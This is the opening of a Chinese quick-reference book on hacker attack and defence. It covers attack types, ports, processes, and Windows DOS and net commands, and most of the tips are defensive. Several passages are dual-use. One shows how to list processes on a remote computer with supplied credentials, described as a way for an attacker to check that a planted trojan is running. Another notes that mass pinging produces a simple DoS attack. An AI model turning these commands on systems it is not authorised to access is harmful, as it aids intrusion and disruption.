图书在版编目（CIP）数据

黑客攻防技巧／黄波编著．—北京：电子工业出版社，2013.8

（随手查）

ISBN 978-7-121-20973-4

Ⅰ．①黑…　Ⅱ．①黄…　Ⅲ．①计算机网络－安全技术　Ⅳ．①TP393.08

中国版本图书馆CIP数据核字（2013）第158106号

策划编辑：郝　微

责任编辑：鄂卫华

印　　刷：中国电影出版社印刷厂

装　　订：中国电影出版社印刷厂

出版发行：电子工业出版社

北京市海淀区万寿路173信箱　邮编100036

开本：710×1000　1/32　印张：7.5　字数：202千字

印次：2013年8月第1次印刷

定价：23.50元

凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本社发行部联系，联系及邮购电话：（010）88254888。

质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。

服务热线：（010）88258888。

内容简介

本书以技巧的形式详细讲解了黑客攻击与防范的相关知识，主要内容包括：黑客基础知识、黑客常用命令、Windows系统安全防范、信息收集与漏洞扫描、密码攻防、远程控制攻防、网络攻防、木马攻防等知识。

本书在内容的安排上简化了理论知识介绍，突出实际操作，并精选了大量实用的操作技巧和经验，以条目式进行编排，方便查询和阅读。本书不仅适合喜爱黑客知识的初学者，更适合所有关心电脑及个人信息安全的用户。

本书的作用在于让读者能够对黑客知己知彼，从而保证个人电脑及信息安全，切勿使用黑客技术对他人电脑进行攻击，以免触犯相关法律。

未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。

版权所有，侵权必究。

前言　Preface

在电脑已经相当普及的今天，大多数人或多或少都掌握了一些电脑操作，然而在实际使用过程中，也会常常遇到各种各样技术性的问题，例如文件丢失了怎么办？系统盘空间不足了怎么办？电脑为何越来越慢？如何备份操作系统？等等，面对这些问题，我们很难在一本普通的电脑入门书籍中找到答案。

随手查系列丛书能帮助你在最短的时间内找到这些问题的答案，还能让你轻松、快速地掌握电脑多方面的应用技巧。无论你是电脑新手还是高手，本系列丛书都可以为你解答电脑操作中遇到的常见问题，让你快速掌握操作技巧。

本系列丛书在结构和编写上打破常规教程化的学习模式，以独立案例的形式分解常用知识点，更贴合读者的实际需求。本系列丛书主要特点如下：

内容实用，方便查询：摒弃枯燥的理论介绍，精选读者最关心，平时经常遇到的问题以及实用技巧以一条一条的实例进行讲解，方便查询，利于掌握。

便于携带、印制精美：本系列丛书采用32开本，便于随身携带，上班路上、工作时都可以随时查阅；双色印刷和精美的版式，能让你在学习中感觉更加轻松。

知识丰富、定价实惠：丛书正文采用小五号字体，版式紧凑、内容丰富、物超所值。

本书由黄波编著，参与本书编写的人员还有姚康臣、罗亮、朱维、李彤、贾婷婷、刘霞、张陆忠、张欣、刘文敏、宗和长、张亚兰、叶飞、汪明、许丰台等。由于作者水平有限，书中难免存在不足之处，欢迎广大读者批评指正。

为了更好地服务读者朋友，如果在学习中遇到疑问，可发送电子邮件到haowei@phei.com.cn，我们会尽力为您解答。

第1章　黑客基础知识

1.1　黑客需要了解的基础知识

“黑客”一词最早源自英文“Hacker”，早期在电脑行业内是带有褒义的，泛指擅长IT技术、精通各种编程语言和系统的技术人员。他们具有攻击能力但不具恶意目的，而是专注研究系统漏洞和程序缺陷，并提出修补漏洞的方法。想要成为一个初级黑客，必须了解相关的网络和系统知识，例如黑客的攻击方式、IP地址、端口、服务和进程等。

例1　了解黑客常用的攻击手段

黑客攻击手段可分为非破坏性攻击和破坏性攻击两大类。非破坏性攻击一般只是为了扰乱系统的运行，并不盗窃系统资料，通常采用拒绝服务攻击；破坏性攻击是指以入侵他人电脑系统、盗窃用户信息、破坏数据为目的。下面介绍几种黑客常用的攻击手段。

预探测攻击：是指利用SATAN等工具扫描网络中其他主机的IP地址和端口，接着通过网络监听截获用户口令等数据，然后破解密码。如果密码被破解，黑客将能以合法的身份访问并控制电脑。这种方式的隐蔽性强，信息泄密不容易被发现。

后门入侵：后门程序是程序员在编写软件时为了便于测试或更改软件模块的功能而留下的程序入口，软件开发完成后应该关掉这些后门。但有时因为疏忽或其他原因，造成某些后门并未关闭，黑客利用这些后门就能轻易地入侵电脑。

系统漏洞入侵：黑客利用操作系统存在的漏洞进行入侵。此外，很多软件（例如SQL Server和FTP等）也存在漏洞，黑客利用这些漏洞也能够获得电脑的访问权和控制权。

木马远程控制：黑客在网络中散布木马程序，如冰河木马、灰鸽子木马等，如果不小心中了木马，该电脑将成为黑客的“肉鸡”，此时黑客能够通过跟踪键盘输入等方式，窃取用户账户和密码等隐私信息，并可对电脑进行持续监控。

拒绝服务攻击（DoS）：是指黑客通过不断向目标发送一定体积的数据包，使目标不停地进行反馈，不断消耗网络带宽和系统资源，最终导致网络瘫痪、目标主机或服务器停止响应的攻击行为。强化版本为分布式拒绝服务攻击（DDoS）。

IP地址欺骗攻击：是指黑客假冒受信任的主机对目标进行的攻击。局限于把数据或命令注入到客户机/服务器应用之间，或对等网络连接传送中已存在的数据流。为了达到双向通信，攻击者必须改变指向被欺骗IP地址的所有路由表。

例2　查看本机的IP地址

IP地址是每一台网络设备或主机在接入网络后被分配的一串标识符，具有唯一性。常用的IP地址为IPv4版本（IPv6是128位，本书中除非特别声明，否则均指IPv4），由32位二进制数组成，为了方便人们使用，采用点分十进制表示法表示，例如“192.168.0.2”、“202.152.128.56”等。

在操作系统中可以查看本机的IP地址，下面以Windows 7操作系统为例进行介绍。

01 　在系统桌面上，使用鼠标右键单击“网络”图标，然后在弹出的快捷菜单中单击“属性”命令。

02 　打开“网络和共享中心”窗口，在“查看活动网络”栏中单击要设置的网络连接名称，如“本地连接”。

03 　在弹出的“本地连接状态”对话框中单击“属性”按钮。

04 　弹出“本地连接属性”对话框，双击“此连接使用下列项目”列表框中的“Internet协议版本4（TCP/IPv4）”列表项。

05 　在弹出的“Internet协议版本4（TCP/IPv4）属性”对话框中，选择“使用下面的IP地址”单选项，在文本框中依次输入本机的IP地址、子网掩码和默认网关，然后连续单击“确定”按钮保存设置即可。

小提示

电脑连入Internet时得到的IP地址是由网络运营商分配的。在局域网中，电脑的IP地址是由用户手动或路由器自动分配的。同一网络内，IP地址具有唯一性。例如在同一局域网内，如果本机的IP地址与某台电脑的设为一样时，会提示IP地址冲突。

例3　使用netstat命令查看端口

电脑上有很多的端口（65535个），这些端口大部分都是关闭的，每个网络连接都要占用一个端口。有些端口有特定的用途，例如，Web服务器要开80端口，FTP服务器要开21端口。这里的“端口”是指网络中面向连接服务和无连接服务的通信协议端口，这类端口也是黑客入侵电脑的主要途径之一。电脑中常用端口的功能如下表所示。

黑客在入侵成功后，通常需要为自己运行的木马打开一个端口，为自己以后回来留下后门。

很多电脑用户对系统中开启的端口并不了解，在需要关闭危险端口时显得不知所措，这时就需要想办法查看电脑中的端口。在Windows操作系统中，我们可以使用netstat命令来查看电脑中端口的状态，具体操作如下。

01 　单击系统桌面左下角的“开始”按钮，在弹出的开始菜单的搜索框中执行“cmd”命令。

02 　在弹出的命令提示符窗口中输入“netstat-a-n”命令，按下“Enter”键，然后在接着出现的界面中即可查看当前电脑中端口的状态。

小提示

“netstat”命令的用法：其后加“-a”表示显示所有活动的连接，以及计算机监听的TCP和UDP端口；加“-n”表示只以数字形式显示所有活动连接的地址和端口号；加“-o”标识显示活动连接并包括每个连接的进程ID；加“-s”表示按协议显示各种连接的统计信息，包括端口号。

例4　使用TCPView软件扫描端口

除了可以使用netstat命令查看端口外，还可以使用第三方软件来扫描系统中的端口，并通过扫描结果查看端口的状态。这里以TCPView端口查看器为例进行介绍。

01 　在网上搜索并下载TCPView软件，然后根据提示进行安装，有些版本为绿色版，可直接运行，功能上没有差别。

02 　启动TCPView软件，在主界面的网络连接显示框中会显示所有进程的网络连接，包括病毒建立的由内到外的连接，并且会实时显示这些连接的动态变化，以及详细的网络连接参数信息，包括进程名、本地地址和端口号以及远程地址等信息。由此可以分析出每个网络连接的使用情况。

03 　在使用TCPView软件查看端口信息时，如果发现程序窗口中有不熟悉的进程名，并且这个进程名的连接数量非常多，变化频率也很快，这就说明这些连接很可能是病毒建立的恶意的由内到外的网络连接。为了防止病毒的蔓延和传播，应记录下病毒进程使用的本地端口号。

04 　使用鼠标右键单击不明进程，在弹出的菜单中单击“结束进程”命令，结束病毒由内到外的网络连接，然后关闭前面记录下的端口即可（关闭端口的方法将在后面进行介绍）。

小提示

此外，QQ电脑管家、金山卫士、360安全卫士等安全辅助类软件都提供了网络监控查看功能，通过这类功能同样可以查看当前已建立的所有网络连接和已开启的端口。

例5　通过关闭系统服务来关闭端口

默认情况下，系统中开启了很多不安全的和无用的端口。这类端口通常都是与系统中的某些服务相对应的，关闭相应的服务也就关闭了与其对应的端口。在“开始”菜单的搜索框中执行“services.msc”命令，可在打开的窗口中查看系统服务的状态，根据各服务的描述可了解其对应的作用。

下面以关闭360杀毒全盘扫描辅助服务对应的57575端口为例，介绍关闭端口的方法，具体操作步骤如下。

01 　在系统桌面左下角单击“开始”按钮，在“开始”菜单的搜索框中执行“services.msc”命令。

02 　在打开的窗口中切换到“标准”视图模式，然后找到并双击“360杀毒全盘扫描辅助服务”项。

03 　在打开的服务属性对话框中单击“启动类型”栏的下拉按钮，在弹出的菜单中单击“禁用”命令，然后单击“确定”按钮即可。

小提示

如果需要快速启动该服务，则在该对话框中单击“服务状态”栏的“启动”按钮即可。启动该服务后也可单击“停止”按钮来关闭服务。

例6　通过IP安全策略限制端口

除了可以通过关闭或禁用系统服务来关闭端口外，还可以通过设置IP安全策略来限制相应的端口，以阻止他人访问该端口，下面以限制3389端口为例进行介绍。

01 　在系统桌面左下角单击“开始”按钮，在“开始”菜单的搜索框中执行“secpol.msc”命令。

02 　打开“本地安全策略”窗口，单击左侧目录树中的“IP安全策略，在本地计算机”项，在右侧的空白处单击鼠标右键，然后在弹出的菜单中单击“创建IP安全策略”命令。

03 　在弹出的对话框中单击“下一步”按钮。在接着打开的“IP安全策略名称”界面中根据提示设置策略名和策略信息，然后单击“下一步”按钮。

04 　在打开的“安全通讯要求”界面单击“下一步”按钮。在接着打开的“正在完成IP安全策略向导”界面保持默认设置，单击“完成”按钮。

05 　在弹出的对话框中取消勾选“使用‘添加向导’”复选框，然后单击“添加”按钮。在弹出的“新规则属性”对话框中单击“添加”按钮。

06 　在弹出的“IP筛选器列表”对话框中取消勾选“使用‘添加向导’”复选框，然后单击“添加”按钮。

07 　在弹出的对话框中单击对应的下拉按钮，将源地址设置为“任何IP地址”，将目标地址设置为“我的IP地址”，然后单击“确定”按钮。

08 　在接着打开的对话框中单击“选择协议类型”栏的下拉按钮，将协议类型设置为“TCP”，然后在“设置IP协议端口”组合框中选中“从任意端口”单选项，在其下方再选中“到此端口”单选项，并在该选项下方的文本框中输入“3389”文本，然后单击“确定”按钮。

09 　在返回的对话框中，如果读者需要添加其他限制端口，可单击“添加”按钮，按照上述方法继续添加，然后单击“确定”按钮。

10 　在返回的“新规则属性”对话框中选中新添加的IP筛选器，然后切换到“筛选器操作”选项卡，取消勾选“使用‘添加向导’”复选框，然后单击“添加”按钮。

11 　在弹出的“筛选器操作属性”对话框中选中“阻止”单选项，然后单击“确定”按钮。

12 　返回到“新规则属性”对话框，选中“新筛选器操作”选项，然后单击“关闭”按钮。

13 　返回到“限制3389端口属性”对话框，勾选新添加的IP筛选器列表，然后单击“确定”按钮。

14 　在返回的“本地安全策略”窗口中，右键单击新建的IP安全策略，在弹出的菜单中单击“分配”命令（Windows XP系统中应单击“指派”命令），然后重启电脑即可。

1.2　熟悉系统中的进程

操作系统运行时，进程是无处不在的，只要有程序运行就有进程。病毒、木马等恶意程序也会以“进程”的形式来激活，因此经常被黑客利用。例如许多电脑病毒就是通过伪装成系统进程运行在电脑中，进而破坏电脑系统的。

例1　查看系统中运行的进程

在电脑正常运行时，系统中的进程主要包括系统守护进程和用户启动的程序进程（用户进程）。我们可以通过Windows任务管理器来查看系统中正在运行的进程，具体操作如下。

01 　使用鼠标右键单击任务栏空白处，在弹出的菜单中单击“启动任务管理器”命令。

02 　打开“Windows任务管理器”窗口后，切换到“进程”选项卡，即可看到当前系统中运行的进程，在“描述”栏可看到对应进程的介绍。

03 　勾选“显示所有用户的进程”复选框，可以查看系统中所有正在运行的进程，包括系统守护进程。

小提示

同时按下“Ctrl＋Shift＋Esc”组合键可以快速打开“Windows任务管理器”窗口，使用Windows XP操作系统的读者同时按下“Ctrl＋Alt＋Delete”组合键也可打开任务管理器。

此外，可以通过“tasklist”命令查看系统进程。根据本书前面介绍的方法打开“命令提示符”窗口，在其中输入“tasklist”命令，然后按下“Enter”键即可。

例2　查看并关闭可疑的隐藏进程

一般情况下，通过Windows任务管理器就可以查看系统守护进程和用户进程。但现在很多病毒和木马会通过一些特殊手段来进行伪装和隐藏。此时就需要借助其他一些工具来进行查看，这里主要介绍通过使用“ECQ-PS”进程管理工具对隐藏进程进行查看和关闭，具体操作如下。

01 　在网上下载“ECQ-PS”软件，然后启动其主程序，在打开的程序窗口中可以看到系统中所有的进程。双击某进程，可在右侧的窗格中看到该进程的详细信息。

02 　在“ECQ-PS”软件窗口中，“类型”栏将显示进程的类型，对于一些不明的进程将显示为“可疑”类型，当确定其为危险程序时，可对其单击鼠标右键，然后在弹出的菜单中单击“强行结束进程”命令，关闭该进程。

例3　如何判断进程是否正常

对于一个普通电脑用户来说，想要完全了解系统进程是有难度的。但是，不了解系统进程又无法辨别病毒和木马进程，这让很多用户感到非常头疼。下面就来解决这个问题。

一般来说，刚装完操作系统时的进程是最干净的，很多用户也会通过重装系统来解决很多系统问题。我们可以在刚装完系统时将进程信息记录下来，待怀疑有恶意进程时再拿出记录来对比，就能大致筛选出可疑进程，具体方法如下。

01 　系统安装完成后或者在电脑正常运行时，单击系统桌面左下角的“开始”按钮，然后在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“系统工具”→“系统信息”菜单命令。

02 　在打开的“系统信息”窗口中依次展开“软件环境”→“正在运行任务”目录，在右侧可以看到当前的进程信息，然后在菜单栏中依次单击“文件”→“导出”菜单命令。

03 　在打开的“另存为”对话框中将进程信息另存为文本文件，然后单击“保存”按钮保存进程信息，待发现系统进程有异常时，打开该文本文件对比，然后关闭异常进程即可。

例4　关闭正在运行的进程

在查看系统进程的过程中，如果发现危险进程，应立即将其关闭。关闭进程的方法如下。

01 　使用鼠标右键单击任务栏空白处，在弹出的菜单中单击“启动任务管理器”命令。

02 　打开“Windows任务管理器”窗口后，切换到“进程”选项卡，选中要关闭的进程，然后单击“结束进程”按钮。

03 　在弹出的对话框中单击“结束进程”按钮即可。

小提示

系统进程关联着系统的正常运行，如果误删了有用的进程，很可能导致系统出错。

例5　哪些进程不能随意关闭

系统的正常运行需要一些进程的支持，这些进程就是系统守护进程。如果强制关闭这类进程，可能导致系统无法正常运行。例如，如果误删了Explorer.exe进程就会导致Windows图形界面无法使用，鼠标也没有反应。建议电脑初学者在不了解的情况下不要轻易关闭进程。

下面列举一些Windows 7操作系统正常运行时需要的进程。

System：Windows系统进程，一组系统底层服务线程的总称，没有真正意义上的映像。

System Idle Process：用于显示CPU可用资源的百分比情况，越大越好。该进程是作为单线程运行的，并在系统不处理其他线程的时候分派处理器的时间。

csrss.exe：Windows环境子系统的进程映像，用于启动用户的会话模式。

lsass.exe：安全机制管理进程，用于管理IP安全和登录策略等。

explorer.exe：桌面环境进程，用于显示系统桌面上的图标以及任务栏等。

winlogon.exe：用户登录管理进程，负责交互式登录、注销与关闭任务。

smss.exe：会话管理子系统，负责会话环境的初始化操作。

svchost.exe：系统服务的宿主进程，如果有多个svchost.exe同时运行，表明当前有多组服务处于活动状态或多个系统文件正在调用它。

services.exe：系统服务管理进程。

alg.exe：应用层网关服务，用于处理网络连接共享。

spoolsv.exe：打印任务控制程序，管理缓冲区中的打印和传真作业，可在“服务”窗口中关闭。

在查看进程时应该仔细一些。有些病毒会伪装成系统进程，例如svchost.exe进程可能是名为“W32.Welchia.Worm”的蠕虫病毒。如果没有及时发现，可能造成无法估计的损失。

例6　如何查杀顽固的病毒进程

在“Windows任务管理器”窗口中，某些病毒进程是无法使用选中后单击“结束进程”按钮来关闭的，此时就需要通过特殊的命令来执行关闭操作。顽固的病毒进程可以使用“taskkill”命令＋PID值来关闭，具体操作如下。

01 　按“Ctrl＋Shift＋Esc”组合键，打开Windows任务管理器，在窗口中依次单击“查看”→“选择列”菜单命令。

02 　在弹出的对话框中勾选“PID（进程标识符）”复选项，单击“确定”按钮，然后在返回的对话框中记录下可疑进程的PID值。

03 　打开“命令提示符”窗口，在其中执行“taskkill/pid xxx（进程PID值）”命令，即可将对应的进程关闭。

此外，在使用“tasklist”命令查看系统进程时，也可以看到进程的PID值，记录需要关闭进程对应的PID值，然后在“命令提示符”窗口中执行“taskkill/pid xxx”命令（xxx表示进程对应的PID值）即可关闭对应的进程，例如，要关闭“QQ伴侣.exe”进程，而其对应的PID值为2660，则在“命令提示符”窗口中执行taskkill/pid 2660命令即可。

小提示

在“Windows任务管理器”窗口中记录下病毒程序的进程名。直接在“命令提示符”窗口中执行“taskkill/im xxx（进程名称）”，也可以关闭对应的进程。

例7　怎样查看进程起始程序

在Windows任务管理器中关闭可疑进程，只是暂时终止该程序的运行，并不能将该程序彻底从电脑中清除，“治标不治本”。要想除去电脑的安全隐患，还必须查找出危险进程的起始程序。在Windows 7和Windows XP系统中查看进程起始程序的方法有所不同，下面分别进行介绍。

1．在Windows 7中查看

在Windows 7系统中，我们可以使用Windows任务管理器来查看危险进程的起始程序，具体操作如下。

01 　按下“Ctrl＋Shift＋Esc”组合键打开Windows任务管理器，切换到“性能”选项卡，然后单击“资源监视器”按钮。

02 　打开“资源监视器”窗口，在“映像”列表框中勾选需要查看起始程序的进程，在下方展开“磁盘”栏，即可查看该进程的相关信息，“文件”列中会显示该进程的起始位置。

2．在Windows XP中查看

在Windows XP系统中，我们可以通过使用“Netstat-abnov”命令来查看危险进程的起始程序：在开始菜单中单击“运行”命令，在弹出的“运行”对话框中输入“cmd”命令。在接着弹出的“命令提示符”窗口中输入“Netstat-abnov”命令，按下“Enter”键，在下方会显示出当前进程的详细信息，用户可根据这些信息查看进程对应的起始位置。

例8　如何查看他人电脑中的进程

查看他人电脑中的系统进程又叫查看远程进程，这也是黑客的基本功。查看远程进程的方法如下。

01 　单击系统桌面左下角的“开始”按钮，在弹出的开始菜单的搜索框中执行“cmd”命令。

02 　在打开的“命令提示符”窗口中输入如下命令“tasklist/s 192.168.1.20/u Administrator/p 000”，然后按下“Enter”键，即可显示远程电脑中运行的进程。

小提示

在上述输入的命令中“/s”参数后的“192.168.1.20”是要查看进程的远程电脑的IP地址；“/u”参数后面的“Administrator”是使用“tasklist”命令的用户账户；“/p”参数后的“000”是“Administrator”账户的登录密码。黑客通过远程电脑的进程列表，就可以判断出自己植入的木马程序是否正常运行，进而进行其他入侵操作。

例9　如何新建系统进程

如果支持系统正常运行的进程一旦被强制关闭，很可能导致系统无法正常工作，此时我们应该根据实际情况新建被误关闭的进程。下面以新建“explorer.exe”进程为例，介绍新建进程的方法。

01 　按下“Ctrl＋Shift＋Esc”组合键打开Windows任务管理器，在窗口中依次单击“文件”→“新建任务（运行…）”菜单命令。

02 　在弹出的“创建新任务”对话框中，在“打开”文本框中输入要新建的进程，本例输入“Explorer.exe”，然后单击“确定”按钮即可。

第2章　黑客常用命令

2.1　基本DOS命令

Windows操作系统中的很多功能都是以DOS命令为基础的，熟练地掌握并善于运用DOS命令可以有效地帮助我们熟悉操作系统，也是成为黑客的第一步，本节就为读者介绍一些基本的DOS命令。

例1　使用dir命令显示目录

dir命令是Directory（目录）的缩写，是用来查看磁盘中文件和文件夹（目录）的命令，它的命令格式为：dir［磁盘盘符/文件名］/［参数］。dir命令有很多参数，在其后直接跟“/磁盘盘符”可以浏览该磁盘下的文件目录。加上/？参数，可以查看该命令的格式和常见参数。

小提示

部分参数后面还带有子选项，例“/A”参数后带有D、R、H、S等，这些子选项在使用时直接跟在参数后面即可，例如“/AH”表示只显示隐藏文件、“/OS”表示按大小排序，也可以写作“/ah”、“/os”，DOS系统环境下不区分大小写。

各参数后会有该参数的功能描述。按照自己的需求使用对应的参数即可，例如，要查看E盘下的文件，可在“命令提示符”窗口中输入“dir e:”，然后按“Enter”键执行命令。如果只需要查看E盘下的隐藏文件，就需要加上参数“/ah”，即执行“dir e:/ah”命令。如果要查看当前目录下的文件，直接执行“dir”命令即可。

此外，部分参数还可以配合使用，如“dir e:/a/d/o”、“dir e:\军事/a/w”等。想要熟练掌握dir命令，就多搭配不同参数练习练习吧。

例2　使用cd命令切换目录

cd命令是Change Directory（改变目录）的缩写，使用该命令可以随时切换到任何一个目录中。cd命令通常有三种用法，分别是“cd..”、“cd\”和“cd目录路径”。

“cd..”：用于返回上一级目录，例如，当前的操作路径是“C:\Users\Administrator”，执行“cd..”命令后，会返回到“C:\Users”目录下。

“cd\”：用于返回当前操作目录的根目录，例如，当前的操作路径是“C:\Users\Administrator”，执行“cd\”命令后会直接返回到C盘根目录下。

“cd目录路径”：在cd命令后加一个空格，然后指定目录名，可进入指定的目录。但在执行此操作前，需要先进入指定分区，例如，要进入D盘下的“Program Files”目录，需要先执行“d:”命令，进入D盘，然后再执行“cd program fles”命令。

小提示

当需要更改磁盘分区盘符时，直接在命令提示符后输入磁盘盘符，然后按“Enter”键即可，例如当前路径是“C:\Users\Administrator”，执行“d：”命令后会切换到D盘根目录。

例3　使用md命令新建目录

md命令用于新建文件夹，其通常使用格式为：md［文件夹名称］。例如，要在C盘根目录下新建一个名为“news”的文件夹，则可在“命令提示符”窗口中先进入C盘根目录，然后再在其中执行“md news”命令即可。

例4　使用rd命令删除目录

rd命令用于删除文件夹，其通常使用格式为：rd［文件夹名］。例如，要删除C盘根目录下的“news”文件夹，则可在指定目录下执行“rd news”命令来完成，执行命令后如果系统无回复，则说明删除完成。如果指定目录不存在会给出相应的提示。

例5　使用del命令删除文件

del命令是delete（删除）的缩写，用于删除文件，通常情况下，其使用格式为：del［文件名］。例如，要删除“F：\娱乐\music\纯音乐”目录下的“卡农.mp3”文件，则可在“命令提示符”窗口中先进入到指定目录下，然后再执行“del卡农.mp3”命令即可，执行命令后，如果系统无回复，则说明删除成功。

小提示

在实际操作中，读者可在指定目录下执行“del*.txt”来删除当前目录下的所有扩展名为“.txt”的文件；可在指定目录下执行“del*.*”命令来删除当前目录中的所有文件。

例6　你应知道的DOS快捷键

在使用Windows系统中的DOS命令提示符窗口时，使用一些快捷键，可以提高效率，这里列举一些在使用DOS命令提示符过程中常用的快捷键。

BackSpace或Ctrl＋H：删除光标左边的一个字符。

Esc：清除当前命令行。

Ctrl＋M：可实现同“Enter”键一样的回车操作。

Ctrl＋C或Ctrl＋Break：强行终止命令执行。

Alt＋PrintScreen：截取整个DOS命令提示符窗口，以图片方式保存到剪贴板中。

←：将光标向左移动一个字符。

→或F1：自动填补上一次输入中的字符，执行一次，自动补上该位置上的字符并将光标向右移动一个字符，反复执行，可逐渐补全该命令。

↑或F5：执行一次，可向前切换到上一次执行过的命令，如果已经是第一条执行的命令，则不进行切换操作。此时按“↓”键，可向后切换命令。

F2：按该键后，根据左下图中的提示按下上一次输入中包含的字符（区分大小写），将从左到右自动补全命令字符，以符合条件的第一个指定字符为结束标志（不包含该指定字符）。例如，上一次输入为“cd administrator”，按“F2”键后又按“r”键，系统自动输入“cd administ”，如右下图。如果继续按“F2”键后按“r”键，当前提示符会变为“cd administrato”。

F3：自动输入上次输入的命令，如果已经输入一些字符，按此键后，则自动补全该命令中剩余的字符。

F6或Ctrl＋Z：输入结束符“^Z”，主要用于type命令之类需要保存数据的操作。

F7：显示命令历史记录，以图形列表窗口的形式列出所有曾经输入的命令，并可用上下箭头键选择再次执行该命令。

Alt＋F7：清除所有曾经输入的命令历史记录。

Tab：自动输入当前目录下的子文件夹名。如果已经输入一些字符，会自动输入以这些字符为开头的文件夹名；如有多个符合条件的子文件夹，再按“Tab”键，则输入下一个；如没有，将提示错误。配合“cd”命令，可快速进入下级文件夹。

Shift＋Tab：作用同Tab，只是顺序相反。

小提示

在“命令提示符”窗口中单击鼠标右键，在弹出的菜单中选择“标记”命令，接着用鼠标拖选要复制的内容，再次单击鼠标右键，即可将“命令提示符”窗口中选择的内容保存到剪贴板中。

2.2　网络命令应用

Windows下的网络命令，功能非常强大，很多扫描软件也是基于这些命令的。对于黑客来说，这些网络命令是必须掌握的利器。为帮助读者学习以及更深入地了解黑客知识，本节就为大家介绍一些常用网络命令的应用。

例1　使用ping命令测试网络

ping命令常被用来检查网络是否正常或通畅，是网络管理员或者黑客必须掌握的一个网络命令。其原理是：当前主机给目标IP地址发送一个数据包，对方会反馈一个数据包，根据返回的数据包即可确定目标主机是否存在，进而初步判断网络状况是否良好。ping命令的用法如下。

01 　单击桌面左下角的“开始”按钮，在弹出的开始菜单的搜索框中执行“cmd”命令，打开“命令提示符”窗口。

02 　如果要测试本机是否安装了TCP/IP协议，可在“命令提示符”窗口中执行“ping 127.0.0.1”或“ping＋空格＋本机的计算机名”命令，如果得到如下回复，说明已安装了该协议。

小提示

按照Windows默认设置，执行ping命令时会发送4个ICMP（网间控制报文协议）回送请求，每个大小为32字节，在正常情况下，会得到4个应答。ping命令的时间量计算单位为ms（毫秒），时间量表示网速快慢。

03 　在光标下输入“ping＋空格＋IP地址”，例如，要ping的电脑的IP地址为“192.168.1.121”，然后按下“Enter”键，则可查看与指定主机间的网络状况。

小提示

这里的IP地址可以是本机的，也可以是其他电脑的。在探测远程主机时，也可以直接ping域名，例如，要测试是否可以连通新浪的主机，可执行“ping www.sina.com”。

在ping命令的实际应用中，可以根据实际情况添加对应的参数，来获取需要的信息，下面列举出ping命令的一些较常用参数及相关功能和含义。执行“ping/？”命令可查看其所有参数。

-t：一直ping指定主机，直到按下“Ctrl＋C”组合键才中断。

-a：将地址解析为主机的NetBIOS名，常用。

-n count：自定义回显数据包的个数，由count指定，对衡量网络速度很有帮助。能够测试发送数据包的返回平均时间及相应速度。count默认值为4，最常用。

-l size：发送指定数据包的缓冲区大小。默认为32字节；最大值是65500字节，最常用。

-f：在数据包中设置“不分段”标志，默认情况下，主机发送的数据包都会通过路由分段再发送给对方，加上此参数以后路由就不会再对数据包进行分段处理。

-I TTL：将“生存时间”字段设置为TTL指定的值。指定TTL值在对方的系统里停留的时间。同时检查网络运转情况。

-r count：记录传出和返回数据包的路由。通常情况下，发送的数据包是通过一系列路由才到达目标地址的，通过此参数可以设定想探测经过路由的个数。限定能跟踪到9个路由。

-s count：记录由count指定的跃点数的时间戳。与参数-r相似，但不记录数据包返回所经过的路由，最多记录4个。

-w timeout：由timeout指定每次回复的超时间隔（毫秒）。

ping命令看似没有攻击性。但如果由多台主机同时对一个目标地址不间断发送体积大的数据包，这就会占用目标主机的网络资源，并导致其系统响应速度和网络速度逐渐变慢，这就是最简单的DoS攻击了。目前很多安全软件都会提供“严禁ping入侵”功能，如果不用作服务器或者进行网络测试，可以放心地选中它，以保护你的电脑。

例2　使用net view命令查看共享资源

net命令是一个庞大的命令集，其中包含了多个子命令，在“命令提示符”窗口中执行“net”或“net/？”命令可以查看该命令的参数。这里介绍net view命令的用法。

小提示

net命令的功能很强大。它包含了管理网络环境、服务、用户、登录等Windows中大部分重要的管理功能。使用它可以轻松地管理本地或者远程计算机的网络环境，以及各种服务程序的运行和配置，或者进行用户管理和登录管理等。

net view命令用于显示域列表、计算机列表或指定计算机的共享资源列表。命令格式为：net view［computername｜/domain［:domainname］］。输入不带参数的net view命令，可查看当前域的计算机列表。

net view命令的其他常用参数及其含义如下。

computername：指定要查看其共享资源的计算机名。例如，执行“net view JAMES”命令，可查看名为JAMES的计算机上的共享资源列表。

domainname：指定要查看其可用计算机的域名。例如，执行“net view/domain:WGUP”命令，可查看WGUP域中的机器列表。

例3　使用net user命令管理用户账户

net user命令用于添加或更改用户账户或显示用户账户信息，也可写作net users。命令格式如下。

net user［username［password｜*］［options］］［/domain］

username｛password｜*｝/add［options］［/domain］

username［/delete］［/domain］

username［/times:｛times｜all｝］

输入不带参数的net user命令，可查看本机上的用户账户列表。net user命令的其他常用参数及其含义如下。

username：指定用户账户名。例如，执行“net user JAMES”命令，可以查看用户本机上用户账户JAMES的信息。

password：为用户账户分配或更改密码。

*：提示输入密码。

/domain：在计算机主域的主域控制器中执行操作。

/add：添加用户账户，账户名由username参数指定。例如，执行“netuserhu/add”命令，可在本机上添加一个用户“hu”。

/delete：删除用户账户，账户名由username参数指定。例如，执行“net user hu/delete”命令，可将本机上的用户“hu”删除。

例4　使用net use命令管理网络连接

net use命令用于连接或断开计算机与共享资源的连接，或显示网络连接信息。命令格式为：net use［devicename｜*］［\\computername\sharename［volume］］［password｜*］［/user:［domainname］username］［/home［/delete］｜［/persistent:｛yes｜no｝］］。输入不带参数的net use命令可列出网络连接。

net use命令的其他常用参数及其含义如下。

devicename：指定要建立的连接名称，例如，执行“net usex:\\james\pic”命令，可将计算机“james”下的共享资源“pic”映射为本地的x盘。

\\computername\sharename：指定计算机及共享资源的名称。

password：访问共享资源的密码。

*：提示输入密码。

/user：指定进行连接的另外一个用户。

domainname：指定另一个域。

username：指定登录的用户名。

/home：将用户连接到其宿主目录。

/delete：取消指定网络连接。例如，执行“net use x:/delete”命令，可断开建立的连接。

/persistent：控制永久网络连接的使用。

例5　使用net accounts命令管理用户账户数据库

net accounts命令用于将用户账户数据库升级并修改所有账户的密码和登录请求。该命令的使用方法如下。

01 　单击桌面左下角的“开始”按钮，在弹出的开始菜单的搜索框中执行“cmd”命令，打开“命令提示符”窗口。

02 　在命令提示符下执行“net accounts”命令，可以显示电脑当前的设置、密码要求以及主机的计算机角色。

03 　在光标下执行“net accounts/minpwlen:7”命令后，则用户账户的密码必须设置为7位以上。这里的数值“7”是可以改变的，用户可根据需要对账户密码的位数进行设置。

